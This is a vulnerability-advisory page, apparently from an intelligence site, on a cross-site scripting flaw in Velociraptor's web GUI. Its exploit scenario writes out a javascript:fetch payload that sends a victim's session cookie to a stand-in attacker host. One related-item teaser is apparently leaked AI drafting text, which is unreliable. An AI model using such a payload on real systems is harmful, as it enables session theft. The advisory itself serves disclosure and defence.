EUVD-2026-60571
GHSA-7wgv-gp5p-x4jc
Severity by source
AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
PR:H reflects required control over table data or column config; S:C captures XSS crossing into victim browser origin; no availability impact applies.
AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H
Primary rating from Vendor (rapid7).
CVSS VectorVendor: rapid7
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
Lifecycle Timeline
3DescriptionCVE.org
Velociraptor's web GUI allows specifying a custom type for columns in tables. The URL type takes the cell value and forms a URL which can be clicked in the GUI.The code does not limit the schemes allowed in this URL , allowing an attacker to specify a JavaScript scheme exposing the user to XSS.
AnalysisAI
Cross-site scripting in Velociraptor's web GUI arises from unsanitized URL scheme handling in URL-typed table columns, enabling a high-privileged attacker to inject javascript: URIs that execute when a second user clicks the crafted link in the console. The scope change (S:C) in the CVSS vector confirms the XSS crosses the application's security boundary into the victim's browser session, exposing session tokens and permitting authenticated actions on behalf of the victim. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires the attacker to hold high-privileged access to Velociraptor (confirmed by PR:H in the CVSS vector) sufficient to influence data rendered in a URL-typed table column - either by configuring the column type directly or by controlling endpoint-sourced data that populates table cells. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 8.1 score is driven by the S:C scope change and C:H/I:H impact pair, but is materially tempered by PR:H and UI:R, which together significantly constrain real-world exploitability. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with high-privileged Velociraptor access configures a URL-type column in a query result table and plants a cell value containing a javascript: URI - for example, javascript:fetch('https://attacker.example/?c='+document.cookie) - either by directly editing the configuration or by controlling endpoint data that populates the table. A second analyst viewing the table in the web GUI and clicking the hyperlink inadvertently triggers the script, exfiltrating their session cookie or executing authenticated actions within the Velociraptor console. … |
| Remediation | Upgrade Velociraptor to the patched release identified in the vendor advisory at http://docs.velociraptor.app/announcements/advisories/cve-2026-15371/. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: audit Velociraptor server logs for exploitation attempts, identify all instances and versions in use, and notify high-privilege users of the risk. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
More in Velociraptor
View allPrivilege escalation in Velociraptor's notebook VQL execution path allows analyst-role users to bypass the COLLECT_CLIEN
Privilege escalation to administrator in Rapid7 Velociraptor (all versions before 0.77.2) allows an authenticated low-pr
Velociraptor allows collection of VQL queries packaged into Artifacts from endpoints. These artifacts can be used to do
Privilege escalation in Velociraptor allows any user with the NOTEBOOK_EDIT permission - typically an analyst-level role
Rapid7 Velociraptor allows users to be created with different privileges on the server. Rated high severity (CVSS 8.8),
Privilege escalation in Rapid7 Velociraptor's multi-tenant org management allows child org administrators to delete any
Remote code execution in Rapid7 Velociraptor server (primarily Linux) allows authenticated clients to write malicious me
We need to produce a JSON object with all specified fields, based on provided data. The CVE is CVE-2026-6290, about Velo
Cross-organization ACL disclosure in Velocidex Velociraptor before 0.76.5 allows any authenticated low-privilege user to
Account takeover in Rapid7 Velociraptor is possible when the platform is configured to use an external OIDC Identity Pro
Out-of-bounds read and memory exhaustion flaws in Velociraptor's NTFS parsing library allow denial of service when proce
Path traversal in Velociraptor's NewNotebook API allows authenticated users holding NOTEBOOK_EDIT permission to write fi
Vendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.0 | Affected |
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.0 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| openSUSE Leap 16.0 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today